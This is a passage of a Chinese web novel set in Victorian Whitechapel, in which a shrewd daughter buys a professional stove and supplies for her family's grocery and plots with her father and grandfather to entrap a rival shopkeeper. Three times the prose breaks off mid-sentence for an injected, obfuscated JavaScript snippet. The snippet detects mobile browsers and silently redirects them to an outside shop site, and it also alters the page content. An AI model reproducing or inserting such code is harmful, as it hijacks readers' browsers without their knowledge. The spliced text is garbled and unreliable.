白教堂路，天空刚刚透着亮意，白雾依旧腾在半空中，将街衢里所有的屋顶都朦胧了起来。 清晨最早一批在这条路上忙碌的人，是来提前抢占位置，打算售卖瓜果蔬菜和各类食品的小贩。 他们或骑着踏板车，或者自己推动木板车，雨夹雪的天也不要紧，只需要再撑起一架布棚就好了。 在白教堂路，小贩分为两个流派。 一种是交了摊位费的，可以在附近的市场内部拥有一个固定摊位。 至于这大马路边的，倒是不用交摊位费，谁抢占了位置，地方就是谁的。 等天亮后，再给这片的卫生监督员交一点保护费就成了。 而一般人制作肉汤布丁的原料，也来自这些小摊贩。 这些小贩的肉，也都是从大大小小的屠宰场和进口肉商那批发过来，他们自己分割保存的，通常价格比肉铺低廉。 在路口附近，就有一名穿着破旧背带裤的肉贩，刚刚将一挂猪下水从木桶里掏了出来。 掺了海盐的血水混合着浓重的腥味顺着他的摊位流淌出去，混迹在雨雪里流进下水道。 黛莉隔着很远就能闻见这股血腥味，她手中依旧拿着那张皱巴巴的清单，对着玛丽说道： “我们待会儿去附近的大铺买，在这上面没必要省钱了。” 现在又不兴检疫，这些小摊贩为了便宜，即便是在牧场买病死的牲口来卖，也是寻常的事情。 而大型街区肉铺通常是由拥有多个牧场货源的食品商开办的，质量较好，价格稍微贵一点。 玛丽也同意这个建议。 她知道，现在天气冷，这些肉贩把猪肉泡在盐水里保存，都不知道泡了多久了。 她们先得趁着早上刚开门店铺都没开张时好砍价，购买比较大件和数量多的东西。 附近最大的旧炉具专卖店在奥本斯街，名叫塔尔德二手厨具店，她们继续往前走了一截路。 二手厨具店已经开门了，那是一间小铺子，窄窄的一间门面。 两侧除了摆着炉具之外，还有堆满货架的各色锅具，厨具，甚至是烤点心的模具。 黛莉与玛丽进入店内，她们稍微瞧了几眼，不约而同的看上了其中最大一只黑色搪瓷铁炉。 这大铁炉有半人高，宽也有六英尺，是四方的长条形，还有一根金属排烟管。 正面有对开门，左边的门打开是炉膛，右边的门打开是烤箱，炉膛的底层，还有一个漏灰的炉箅子和灰斗。 炉膛顶上有三个灶眼，一个十升的储水箱，可以用来烧水。 同时放得下三只锅具做饭。 烤炉的顶上则是平板，可以放铸铁的平底锅，用余温来煎东西。 这一看就知道是专业厨房里的设备，可以同时制作多种食物。 她们二人嘀咕了一阵，都很看中这只炉子，觉得容量够大，家里的厨房好好收拾一下，把杂物扔去储物间，也能放得下。 最重要的是，这口炉子绝对能够负担起高强度的烘烤工作。 黛莉目测了一下，又走到跟前去上手丈量，她打开柜门看了看烤箱的区域。 这里面的空间大概有五六百升，可以同时烤四层面包，分隔板的高度也可以调节。 虽然是二手，但成色很好，又都是铁胎搪瓷，价格也必然不会太便宜。 她们看了一会儿，决定先问问价格，如果不超过三个英镑，就可以考虑。 玛丽叫了一声老板。 忽然，深处的门吱呀一声，里面走出来一个穿着样式拘谨的棉布长裙的中年女人。 同时，黛莉敏锐地闻见了一股朗姆酒味。 她抬眼朝那扇门后看去，在中年女人走出来后，门后似乎有人轻轻把门关上了。 还传出来一阵细微的交谈声，似乎是在讨价还价。 这小小的炉具店里，或许还有别的客人。 “这炉子怎么卖？”玛丽朝她询问着。 “这个啊，这炉子是新收的，原来的主人才用了两个月，新的很，他原价花了五英镑呢。” 中年女人一时有些想不起来价格，她从炉子旁边拿出来一个价牌，上面价格标着?3。 玛丽对这个价格还算满意，这样的炉灶，三镑买进来，即便是用一段时间不用了，再出三手，也折不了多少价格。 黛莉的注意力从后头收回来，落在炉子上，又看了看四处的货架，她对这中年女人说道： “能免费送上门吗？价格还能便宜一点吗？” 中年女人迟疑地回忆着： “住在白教堂，都能够送上门。 至于价钱，这已经是最低价了，我不是老板，做不了主。” 黛莉又问：“老板去哪了？我想跟他谈谈，既然不能便宜，能不能送几个烤盘？要是能的话我们现在就能付钱。” 老板当然是在忙更重要的事情。 中年女人说道：“就几个烤盘，我送你就是。” 黛莉点头，叫玛丽去选了一套四只的金属烤盘。 付完钱，她们填了地址，拿到了一份收据，约定好了时间，明早会有人将炉具送上门去。 从二手店里走出来，玛丽踩着尖头旧皮靴跨过水潭，忍不住沾沾自喜地说： “我本以为这炉子已经够便宜了，没想到，还能得到一套烤盘，真是划算。 家里用的那套老炉子，还是你刚满十岁的那年买的。 那时候才花了十几个先令，不过也太小了，只有一个灶孔，烤格里即便是饼干这么小的东西，都只能烤一盘。” 黛莉将雨伞重新撑起来，点头说道： “是啊，换成大炉子，一天制作几十磅面包都完全不是问题了。” 黛莉与往常一样，神色看起来没有任何不同寻常。 若是此刻有谁直勾勾的盯着她，才能发觉她那双通常淡漠一切的眼中有抹戏谑的情绪浮现，短暂后又消失了。 随后，黛莉与玛丽一起又去了附近的玻璃罐批发店。 在十九世纪末的伦敦，梅森瓶几乎是所有罐头食品厂都在使用的包材。 无论是女王抹面包吃的果酱，还是贫民吃的布丁，几乎都是以此为模具或容器。 所以，价格也是相当便宜，常见的家用型号有一品脱，半品脱，一夸脱这三种。 现在的廉价梅森罐还都是浑浊的棕色和灰绿色，瓶盖多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16441213|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是合金，玻璃上还有过去一八五八年的铭文。 黛莉准备采购大概足够一周使用的数量，一品脱和一夸脱两种大小，各订购了一箱。 确定清楚数量，她在柜台边拿着羽毛笔与店员签着收据。 上面清楚写了，一品脱一箱有五十只，批发价格为九十便士。 比它大一倍的夸脱瓶则是一百一十便士一箱。 买完瓶子，她们又在隔壁的纸品批发店里，购买了一千张裁剪好的白纸，纸袋也有一千枚。 还有五卷牛皮纸，三卷麻绳，以及可以穿绳的标签纸三千枚。 目前纸品也是一种很廉价的东西，最便宜的通常都是草浆纸，又薄又脆，容易老化，用来印报纸的也是这种。 牛皮纸就十分结实了，用硫酸盐法混合木浆制作而成。 订了一大堆，足够一个月的使用，一共不到二百便士。 解决完这最大的几项采购，黛莉和玛丽都感觉饥肠辘辘，前胸贴着后背。 她们回到了塔尔德二手厨具店的直对面，进入了一家意大利人开的小餐厅。 小餐厅里装潢陈旧，桌椅不多，人也不少，里面穿梭着一个忙碌的服务员，端着几盘通心粉走来走去。 黛莉和玛丽还是抢到了靠窗边的位置，与旁边的人擦身坐下。 黛莉掏出清单，铺在桌子上，往下数了数。 “炉具，托盘，梅森罐和纸包材，麻绳，这些都已经齐全了。 剩下的就是进杂货，还有食材采购，这花不了多少时间了，预算也还剩这个数。” 还有不到六个英镑，黛莉比出了手势，不在人多的地方提钱。 玛丽点头，或许是因为目前一切顺遂，她对接下来的准备工作很期待。 不一会儿，店里的服务员忙完了，懒懒的过来询问她们吃点什么。 “我们都要通心粉套餐。” 她们商量过后，黛莉对服务员说道。 玛丽将清单收了起来，抬头看向黛莉，她对大女儿近期的举动本就有些疑问，今天一起出了趟门，还是第一次见识到黛莉在外面锱铢必较的样子。 玛丽的心里忽然生出一些感叹，到底是从什么时候开始，黛莉长成了一个如此心智成熟，毫无小孩气的人了？ 果然，人长大就是一眨眼的功夫。 玛丽暗自想着，以后不能把她当小孩子看了。 黛莉的面色十分平静，她把视线投去窗外，透过繁忙的闹市，看向了刚才光临过的二手厨具店。 自打她们离开那家厨具店已经一个小时了。 现在天色大亮，盘踞在半空的雾霾也渐渐消散，只不过雨还淅淅沥沥的下着，街头小贩的生意也热闹了起来，人马车流如织。 “咣”“咣”“咣” 忽然，白教堂散开钟声，一辆不太起眼灰扑扑的马车从远处腾腾驶来，靠在了厨具店门口。 不一会儿，黛莉看见车里面走下来两个人。 他们有些警惕，穿的像工人，环顾了四周，才进了店里，抬了几只木箱走出来。 往返两三趟，将马车装满后，又迅速的离去，似乎并未引起任何人的注意。 …… 20.十先令 出餐口，厨娘将拍了铜铃，服务员便端着一托盘的美味，绕过了抽雪茄的老头，躲过了横冲直撞的报童，将热腾腾的通心粉端到了她们的面前。 这通心粉裹着酱汁，上面浮着一层干酪刨丝，还有零星的黑橄榄碎和薄荷叶做点缀。 味道还可以，几便士的通心粉套餐里甚至有一杯浓缩咖啡，只不过毫无风味可言，只剩苦涩味。 尽管店内的环境乌烟瘴气，但这热腾腾的一盘面食勉强能将一大早的饥寒驱散。 黛莉将注意力集中回来，与玛丽迅速地将早餐解决掉。 她们先去了一趟附近的批发商店，采购了价值几镑的日用杂货，这一次采购量比往常要多，所以批发价也稍微便宜一些。 黛莉还在旧货店里淘了一块黑板，买了几盒粉笔，打算在门外挂一则招牌。 至于印章，也在专门的刻章店里做了两套。 一枚是纳什杂货店的名称一枚是可以扭动数字的滚轮印章。 定制一枚印章价格不贵，不过就是要隔两天来取。 最后，她们才离开闹市顺着白教堂路往前走，开始采购制作熟食的原材料。 附近生意最好的肉铺名为巴尔皮尼兄弟肉店。 这家店独门独户，铺面十分宽敞，可以买到很多种类的鲜肉，鸡蛋也可以在这订。 并且，斜对面就是管理白教堂片区治安的商业街警察局，具有一定的震慑力，不用担心扒手。 黛莉与玛丽要为了制作肉汤布丁来购买原材料。 买肉这方面玛丽是行家，她走进店里，自行挤开了围着柜台挑挑拣拣的人们，开始选购肉类。 而黛莉则站在门边，提着篮子观察这家店。 店铺里摆着几条木柜，各类肉食都悬挂在柜子上让人挑选。 一眼扫过去，牛羊肉比较显眼，猪肉和禽类也不少，剩下的便是各类野味。 分切成了各个部位，每个部位价格也都不一样，甚至各种内脏下水，也都赫然在列。 果然，只要人够穷，是肉就会吃，不会存在下水卖不动让她捡漏这种情况。 这里的肉类价格区间很广，最低廉的澳大利亚冷冻猪肉也才六七个便士一磅。 鸡鸭则全是一口价的，一只肥鸭和一只瘦鸭之间的价格能相差一个先令。 最贵的部位是牛羊肉的肋排，英格兰本土牛肋排的价格每磅在二十便士以上。 更贵的肉也有，只不过这里是东区，最受欢迎的还是廉价肉。 几名屠夫穿着西装套服，围着棉麻罩衣，忙碌的在柜台后走动。 有剔骨的，称重的，还有算账的，分工明确，她也看不出谁是老板两兄弟。 从各大报纸上获取的消息能让黛莉清楚的意识到，纵然是一直以来依靠畜牧业来维护帝国基石的英格兰，目前也正处于一场全面的农牧萧条的持续震荡当中。 在伦敦港，来自澳大利亚和美国，新西兰的冷冻肉被蒸汽船带进英格兰。 这些肉类大多来自国外广袤的牧场，价格十分便宜，对本土畜牧业影响颇大。 同时，英格兰的本土牲畜与谷物价格也受到了冲击，市面上能见到的一切廉价谷物都来自进口，包括牲畜饲料。 这也是在几十年前谷物法废除后才有的事情，很大程度削弱了英格兰的土地价值。 对于工业家和商人来说，这是一件好事。 市场的选择越多，对土地的依赖越小，就越有利于生意。 但对于老牌贵族阶级来说，这震荡便成了灭顶之灾。 土地贬值太快，作物市场受到进口货影响，本国的土地贵族们抬了一辈子的头总算是折断了。 报纸上，隔三差五就能看见某个头衔古老的伯爵与各国商人之女成婚的登记。 黛莉目前作为一个拥有爱尔兰血统的底层小商贩，她对贵族老爷们的惨剧不以为意，反而认为他们还不够惨。 在纳什先生口述年轻时的记忆中，几十年前的爱尔兰正是毁在这些英格兰土地贵族和地主的手上。 他们依靠不平等的制度，占据了爱尔兰的大部分优良耕地和牧场。 排挤本地的佃农与地主，让他们只能在贫瘠的土地上种土豆。 后来晚疫病持续爆发数年，这场人祸饿死了数百万的爱尔兰人，二百万人逃离。 而英格兰政府高高挂起，想方设法的阻拦爱尔兰受到的援助，并依旧出口爱尔兰本土的粮食，用来维护英格兰的农业市场。 纳什先生回忆起爱尔兰那几年灰暗的灾荒，以及在那几年灾荒中饿死病死的亲人，总说这是刻意的种族清洗。 如今这些动辄拥有半个郡土地的贵族老爷，地主乡绅，以及贵族背景的官僚，没有一个人的双手是干净的。 而到了现在，伦敦的爱尔兰人依旧是权贵阶层眼中的草芥。 她还在沉默的发散着思绪，转头玛丽已经结束了采购，她拎着一篮子的肉挤了出来。 玛丽采购了四五磅猪肉和猪杂来做肉汤布丁，又买了一只二十便士的鸡打算做晚餐。 母女二人慢慢的踏上返程的路，在雨还没落下的时候，往克拉克街快步走去。 … 克拉克街，她们二人刚刚到家，后脚屋外就落下一阵淅淅沥沥的小雨。 纳什先生正在招待客人，黛莉与玛丽领着食材进入了厨房，打算撸起袖子，将厨房收拾清理一通。 纳什家的这厨房，不算小也不算大，只不过因为兼祧了饭厅和洗漱间的功能，又摆设了很多的杂物，所以使用时经常转不开身。 但是，在拥有了功能齐全的大型炉具之后，许多的小杂物都没有了用武之地。 把再也用不上的杂物清理出去，黛莉把它们全都卖给了二手家具店的寡妇老板。 又从她店里换来一只木架，将厨房里还要用的东西全都归置了上去。 至于洗漱用品，则被黛莉收去了本来留给玛丽做育婴室的储藏间。 现在玛丽也用不着帮人带孩子了，这储物间里的婴儿床也被黛莉推出去卖了二手。 她从二手店里又换回来几组木制货架，摆在储物间深处，用来囤积库存。 用肥皂给抹布打出泡沫，黛莉将厨房里的窗户和门都清洗了一遍，又抬了两桶水，将地板抹干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16444823|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净了。 经过上午半天的整理，现在的厨房和储物间都已经大变了样子。 原本堆满生活杂物，十分拥挤的厨房，现在留好了放置大炉灶的位置，还空出很大一片空间。 再摆放上餐桌和椅子凳子，也不会完全塞满。 黛莉干完这些活儿都累的直不起腰了。 不过，中午纳什先生要出门去送奶。 黛莉只好面无表情地泡了浓郁的红茶，又佐了几块饼干做午餐。 打起精神后，她先与纳什先生交了账。 纳什先生看店一早上，收了二百六十八便士，一共是十八个客人登门。 黛莉数清楚了，才开始准备接收早上订的一大堆货物。 而此刻，玛丽却一身轻松，即便是干了一顿活儿，她还有力气哼着小曲做饭。 系上了围裙，将买回来的鸡放在炉子上给燎了一遍祛除绒毛。 今天是她最后一次使用这口小炉子，打算要用来做一顿炖鸡，也是一周一次的改善伙食。 外头下起雨，各家批发商的送货马车都支着棚子，来来往往的，将她们订购的物品运了过来。 黛莉从善如流地与这些送货的车夫们交接东西，数清楚后，她签了单子，随手给这些车夫送了几包三法新的商品。 顺势好与这些车夫闲聊起来。 这些一贯不被人尊重的马车夫，其实也晓得不少的小道消息，稍微熟稔一些，能够从只言片语中打听到许多。 上辈子黛莉挖掘同行的代工厂和原料供应商时，使用的就是这么简单的手段，贿赂货车司机。 商场如战场，时刻是你死我活的时候，她从不管什么仁义道德。 中午大雨时来送最后一批货的马车夫名叫罗纳德，他是个朴实的老头，为一家大型的粮油批发店工作。 卸下货，他便歪歪斜斜的站在一旁抽雪茄，等待着黛莉清点，顺便也等外面雨小一些再去下一家。 黛莉将两三百磅的面粉全都掂量了一下重量，才把单据签了字。 她照例，在签字完毕后，抓了一把茶包，塞进纸袋里，给那老头递了过去。 并道：“这是我们店里自己做的花香茶叶，可以拿回家去给太太尝尝。” 靠在柜台边百无聊赖的老头罗纳德有点懵。 “给我的？” 老头扬了扬眉毛，感觉有些意外，但还是接过了黛莉送的茶包，裹了裹，塞进了破旧粗花呢外套的口袋里。 或许是感觉眼前的人把他看在了眼里，罗纳德站直了起来，烟也掐了。 他顺口谈起来，清清嗓子说道：“你们家这是打算开始自己做熟食了？” “是的，我们打算自己烤面包，做肉汤布丁，做饼干和果酱，还有糖果什么的。” 黛莉指了指帘子后的厨房。 罗纳德点了点头，说道：“挺好，这样能节省不少的成本。” 他往身后望去，一阵阵的大雨依旧顺着屋檐往下落，像是水晶珠串一样在地面拍碎。 “这雨怎么还不小一些，我还得去给佩诺奇衬衫厂送面粉呢。” ... 21.一法新 黛莉坐在柜台后，翻开了账册，笔尖勾划掉所有的要补充的库存清单。 闻言，她抬起头：“要这么多面粉，那衬衫厂难道还给工人供饭吗？” 佩诺奇衬衫厂是裘德路尽头一家有名的大型衬衫工厂。 专门给两家有名的服装公司代工，制作出口欧洲大陆的中档成衣男装。 “怎么可能，那里只给办公室的打板师，会计，推销员还有经理们供饭，也就十几个人而已。 在此之前，他们办公室都是在餐厅订员工餐。 现在工厂老板不愿意再出这餐费，也不愿意给职工涨薪。 就干脆找了两个厨子，打算自己做员工餐。” 马车夫见惯了这样的事，说道：“我估计，这样恐怕也坚持不了多久。” 他说罢，还是将破旧的毡帽往脑袋上一扣，冒着大雨钻进了车棚下。 黛莉听着，思索了一阵，打算留意起来。 她回过神，打开柜子准备拿出新的账本，看见里面塞着一卷今天早晨送来的报纸。 黛莉想起自己今天还没看过泰晤士报，便随手抽了一张。 翻开一瞧，泰晤士日报的头版赫然写着： “塔桥杀人案与白教堂女尸案的凶手已于今早落网，但凶手割腕自杀，疑似背后另有主谋……” 黛莉面无表情地把报纸折上，这杀人案的凶手死了，到这里线索就断了。 背后那个计划提单诈骗与两次谋杀的主使，费了这么大的劲，难道只是为了弄一批货拿到白教堂搞走私吗？ 未免有些杀鸡用牛刀。 那么接下来警察还会不会查？ 她的心里有了个预测。 下午，伦敦的阵雨停了下来，天空骤然晴了起来，浮着一抹滑腻的浅紫色晚霞，乌云渐渐飘远。 雨后整个克拉克街都充斥着一股湿漉漉的发霉木头味，混杂着煤炭烧炉子散出来的烟味。 雨停的很巧，恰好碰上了工人们下班的时间。 黛莉刚把写好菜单的黑板用钉子挂到了门板上，杂货店里就来了一波客人。 “这黑板上的新熟食，是我家厨房自己做的，从明天早晨开始出售。 你们可以看看，有面包，肉汤布丁和果酱。” 她说着，排队买东西的人都对黑板上的东西产生了兴趣。 住在斜对面的帽子厂兼职女工德拉妮对着门口的黑板研究了许久，才开始排队。 德拉妮家是纳什家的老邻居了，一家四五口人挤在一层楼住，都在这附近干活。 她与黛莉也差不多大，还算熟悉，打了照面也能点点头。 最近纳什杂货店里经常做打折促销的活动，还有她能消费的新产品，她就经常在下班后来逛一逛。 “葡萄干面包，蒜香面包，十个法新一条。 咖啡味硬饼干，八便士一磅，钻石曲奇，七便士一袋。 肉汤布丁，带罐四便士一块，不拿走罐子，两便士一块。 杏脯肉桂果酱，一先令一罐。” 德拉妮顺着菜单低声地念了一会儿，琢磨着明天一早来这里看看。 她打算端盘子来，买两块肉汤布丁，再买两磅蒜香面包，加上几盎司奶酪。 也就十个便士出头，足够她一家子当作早饭随便吃点。 想明白了明早吃什么这个世纪难题，柜台边上的人也空了，德拉妮没有排很久。 她对黛莉说道：“我要两包花茶，三便士的肥皂，一罐腌橄榄。” 说罢，又将怀里的玻璃瓶子递给黛莉。 “再来一瓶牛奶。” 黛莉三两下把东西找齐了包起来，又拿走玻璃瓶，在旁边的奶壶里提起长柄勺子，慢慢盛满了。 今天店里能有这么多牛奶，是因为最近有两家小餐厅不续订了。 纳什先生为了自己的业绩，只能在杂货店里多留了一桶奶。 玻璃瓶也是昏暗的透绿色，装满后用木塞封上。 “一共十五便士。” 德拉妮问准了她明早开门的时间，这才付完钱，抱着瓶瓶罐罐离去。 黛莉将桌子上摆了一个小碟子，专门用来放零钱。 她将下午收到的硬币倒进抽屉里，略数了数。 早晨纳什先生看店，他交账时说过，收了二百六十八便士。 中午后到现在，她收了四百三十个便士。 今天的营业额总计是六百九十便士，很接近三英镑。 这对于一个阴沉的，大家都不怎么爱出门的下雨天来说，已经是很不错了。 不过，黛莉观察出来了，三法新商品的销量不比昨天，虽然只减少了四分之一。 她猜测，肯定是洛比特杂货店又做出了什么小动作。 稍微分走了一点客人，但又做的不比她好。 洛比特那个老头子，一直买通对面酒馆里的南森来她店里打探情况。 多半，也是后脚就开始学了。 黛莉依旧不为所动，等待着他继续学习。 要想一次性铲除掉这个对手，需要耐心的等待最合适的时机。 现在洛比特依靠模仿她得到了甜头，已经产生了惯性，未来要想办他，只需稍微操作就好。 她收拾了一会儿，傍晚天色刚刚变得昏暗起来，佩妮就背着小包跟其他学生一道回了克拉克街。 后脚，纳什先生和弗莱德也推着车到了门口。 他们二人将罐子拎下来，进门时神色有些复杂，黛莉一眼就发现了。 “怎么了？今天又有人说要取消订奶吗？” 黛莉好奇地问。 纳什先生点头说道：“是，今天又有两小家店在说。 监督员认为他们现在使用的的牛奶太稀了。 他们只好取消，更换一个供应商。” 说的正是那位卫生监督员奥利凡德.莫桑纳。 除了卫生之外，他还有权利监督这附近市场上的商品质量。 多罗斯街，克拉克街，都在他的管理范围。 写进《公共安全法》里的乳制品，照理来说确实是着重监督的对象。 “这怎么可能呢？农场送来的奶一直是这样，我们也没有往里掺水。” 弗莱德有些想不通，但依旧很乐观： “不过，没了这两家也没关系，我们还有那么多的客人，大不了再去别处推销。” 弗莱德与纳什先生每个月要帮农场卖掉八十镑的牛奶，一个月才能赚到八英镑的提成。 如果达不到这个销量，他们就只能往杂货店里多匀一点卖。 黛莉觉得这事，问题多半是出在监督 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16455482|184284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员莫桑纳的身上。 尽管有法律明文规定，但不给牛奶掺水这样的小事，在整个伦敦又有几个人遵守？ 全都是民不举官不究，虱子多了不怕痒。 除非是发生了什么影响很大的公共卫生事件，在特定的事件压迫下，监督员们才会严苛的按照法律抓起典型。 否则，平时这些监督员能有那么认真，还真就兢兢业业去检查？ 要是整个伦敦的监督员都有这么敬业，全体居民都按照法律规定的那样生活，伦敦估计早就第三次工业革命了。 想来，是有人想针对她家，花钱买通了监督员，要给她家的人找不痛快。 但是，她家逢年过节日常的供奉给莫桑纳的东西也不少。 这监督员替对方办事也并不尽心，只挑剔了那么两家小餐厅。 想来，莫桑纳恐怕也没收到多少好处，没有多到值得他对费大功夫来找她家的麻烦。 多罗斯街上在她家订牛奶的商户多达几十家，没人有这个脸面让莫桑纳挨个去挑刺。 可是，谁会做这样的事情呢？ “你的意思是，这事儿是洛比特干的？” 纳什先生听懂了黛莉这话的意思。 她点头：“我们店里最近的生意很好，两家店离的又这么近。 他看着眼红，想给我们家找不痛快也是正常。 祖母经常给监督员打点，监督员不好直接来找我们店里的错处。 也就只能从你们两个身上的工作开始寻不痛快了。” 纳什先生心里早有这个猜测，听黛莉说出来，更加印证了。 他放下手里的东西，冷哼一声道： “我们家既然来这里做生意，免不了就要与别人家争抢。 要是做什么都怕得罪人，那就不用开店了，老老实实穷着吧。 他从前总看不起你祖母，现在又想给我们找不痛快。 依我看，我们也该找法子对付对付他。” 弗莱德有些迟疑： “怎么对付？他这样的人，当面油嘴滑舌，光会背地里做小动作，要是闹起来了，反而咬我们一口。” 黛莉说道： “想对付他，就得利用他这些小动作。 我倒是有个办法，只不过，我们得慢慢来做。 过两天就是交茶税的日子，到时候监督员来了，我们先给他塞点好东西，打点打点。” “最近那起杀人案闹的很大，凶手现在是死了，可幕后主谋还在，从上往下查是不行了。 如果警察还想查，剩下的线索，就只有从下往上。” 纳什先生和弗莱德都听懂了黛莉的意思。 “你的意思是，走私？” 纳什先生摩挲着胡须，疑问道：“为什么认为这些警察一定会继续查？” 不怪纳什先生说，在苏格兰场，有许多这样复杂的断头悬案，警察放弃调查，最多拉个警长或者警司出来引咎辞职，新的案子冒出来，也就过去了。 很多时候，涉及到了上层权贵，这些没背景的警察顶不住上面的施压，是能查也不会再查。 但黛莉脑子里装着些原著背景设定里的信息差，有十足的把握。 她现在只想试探试探，老头和老爹有没有这个做事的胆量。 ... 22.两法新 黛莉无法直接解释她对这警察人设的了解，只能说是赌。 “是，我认为他们会查，这也是我在打赌。” 她转动眼珠：“那天，来我们家问话的那个警长，还记得吗？” 纳什先生忽然就想起了那天来自家的那几个警察，特别是那个又年轻又难说话的。 “我想起来了，那人那么年轻就做了警长，身边的警察对他都挺恭敬，看样子是有点背景的。 要是破了这案子，镀一镀金，恐怕擢升警司也顺理成章，这种人都这样。” 纳什先生在伦敦混迹了这么多年，与警察也打过交道，知道里面的弯弯绕绕。 苏格兰场空降这么一个警长来查这件案子，着实耐人寻味，怕不是上面已经在神仙打架。 但关于这个警长本人的只言片语，各家报纸上却一个字都没提，像是商量好了一样。 纳什先生可以肯定，洛比特一定不知道查案的人是什么样。 黛莉露出了赞同地目光： “我认为，不过几天时间，白教堂这片的地下黑市就要被严查起来。 到时候拔出萝卜带出泥，我们不如现在......” “我怀疑，这批走私酒的交易地点就在......到时候，我们只需坐等他上钩。” “也不必会担心露馅，毕竟没有谁会用真名去黑市交易。” “你们还记得吗，前段日子对面的地下酒馆也卖过这种酒……” 她低声凑过去说了两句,声音忽高忽低，除了纳什先生和弗莱德，没人听见她具体说了什么。 说罢，她镇定地在纳什先生与弗莱德诧异地目光中抬起头。 “虽然，这样一来，咱们少不了要花费一些成本。 不过，我可以负责去做这件事，尽量控制。” 黛莉说完了，纳什先生和弗莱德听着，都不由地眯起了双眼，心里琢磨起来。 如果那警察真能继续往下查，一定会顺着幕后主使销赃的这条路逆向追踪。 在有重大社会事件压着的时候，这些监督员一定会不留情面的抓典型。 纳什先生也认为这是个可行性极高的好机会，鲜少有这样的机会能够让他们利用。 万一警察不查，或者鱼儿不上钩，不过也就是损失点钱。 “当然要做，我们又没有被抓的风险，只要单据一拿出来，自然清清白白。 至于钱财，不先舍了，怎么能赚呢？ 现在，只不过是要赌一赌洛比特够不够贪心。” 纳什先生说道。 一旁弗莱德感叹于这事实在是水深，但也不忘记点头附和。 黛莉见祖父和老爹都还算有胆识，敢冒险，也就满意地闭上嘴。 他们爷孙父女三人在外面嘀嘀咕咕，厨房里的玛丽什么也没听见，只知道外面忽然没了声音。 她掀开帘子钻了出来，目光巡视了一圈，见三人忽然安静下来，有些茫然。 “说什么呢？开饭了，还有明天要卖的几样熟食，都过来试一试啊。” 她又朝着楼梯上喊了一声：“佩妮！吃饭了！” 大家默契地闭上了嘴，瞒着玛丽这个从未干过什么坏事的人。 他们改口问起今天的晚餐，一切与往日没什么两样。 傍晚，厨房透着暖黄色的光线，储物间腾出来使用后，厨房里就没有太多的杂物了，现在大家坐的很宽松。 纳什先生和弗莱德刚走进厨房，还以为自己来错了地方。 桌子依旧还当作案板使用，做完了饭菜，就收拾出来作餐桌。 玛丽今天心情好，难得地给餐桌垫上了亚麻的布，给每个人都十分精致地摆上了鲜红的格子布餐垫和平时不用的新餐具。 这也算是新气象了。 黛莉看着桌上的菜色，有土豆块炖鸡肉，有几样家常菜，还有一小筐热气腾腾的面包，甜的咸的两种口味。 装在梅森瓶子里已经凝固了的肉汤布丁，也倒了出来，扣在盘子里，看起来晶莹剔透的，里面混着肉丝和佐料。 小瓷碟子里装着刚熬好的肉桂杏脯酱，闻起来都是十分美妙的东西。 黛莉感觉这卖相还不错，她刚在靠里的地方坐下，大门外就响起了敲门声。 弗莱德先出门去瞧，他起身钻出帘子，到外面去开了大门。 门外天已经黑透了，屋檐下站着他妹妹瑞茜，还有外甥女爱玛和外甥皮特。 她们拎着大小几包东西，是特意来看望丽莎的。 “你们今天怎么得空能过来呢？”弗莱德有些惊讶，又十分开心。 “快进来，跟我们一起吃晚餐。” 瑞茜也不跟他客气，说道： “好啊。 今天爱玛放假了，她爸爸还在上班，几个租客也都不要吃我做的晚餐。 我就想着，干脆带他们两个过来看看。” 厨房里的几人听到了动静，纷纷走了出来。 瑞茜半个月才能来一次，每次来都会带很多好吃的，佩妮是最喜欢她了，跑的最快，一下子就蹿了出去，抱着瑞茜的大腿撒娇。 瑞茜感觉佩妮这个小猴子又长高了一点，她从手上的一大堆东西里取出一只纸盒递给她，说道： “给你买了马卡龙，快去吃吧。” 这下，佩妮才撒开了手，拎着纸袋与旁边的皮特一起“噔噔噔”地跑进了厨房。 玛丽和黛莉走出来，姑姑瑞茜上前亲切地拥抱了她们。 “今天做了什么饭，好香啊。” “我炖了鸡，还试做了很多熟食，打算以后在店里卖的...” “啊，你终于肯发挥厨艺了，那还替人看孩子吗？” “不干了，最近我这小生意本来就不大好，不过现在杂货店生意好了……” 瑞茜跟玛丽的年轻差不多，小时候还在一个工厂干过活儿。 玛丽能跟弗莱德认识就是瑞茜牵线搭桥，她们关系不错，一聊起来就没完了。 黛莉一开始还在一旁礼貌地微笑着，开始在脑海中调取关于姑姑瑞茜一家的基本信息。 姑姑瑞茜一家四口，居住在卡姆登国王十字车站北边。 十五年前，她与铁道线路员安珀先生结婚，随后一直生活在卡姆登那边。 安珀先生是苏格兰来的外来务工者，他二十岁就在给铁路公司干活。 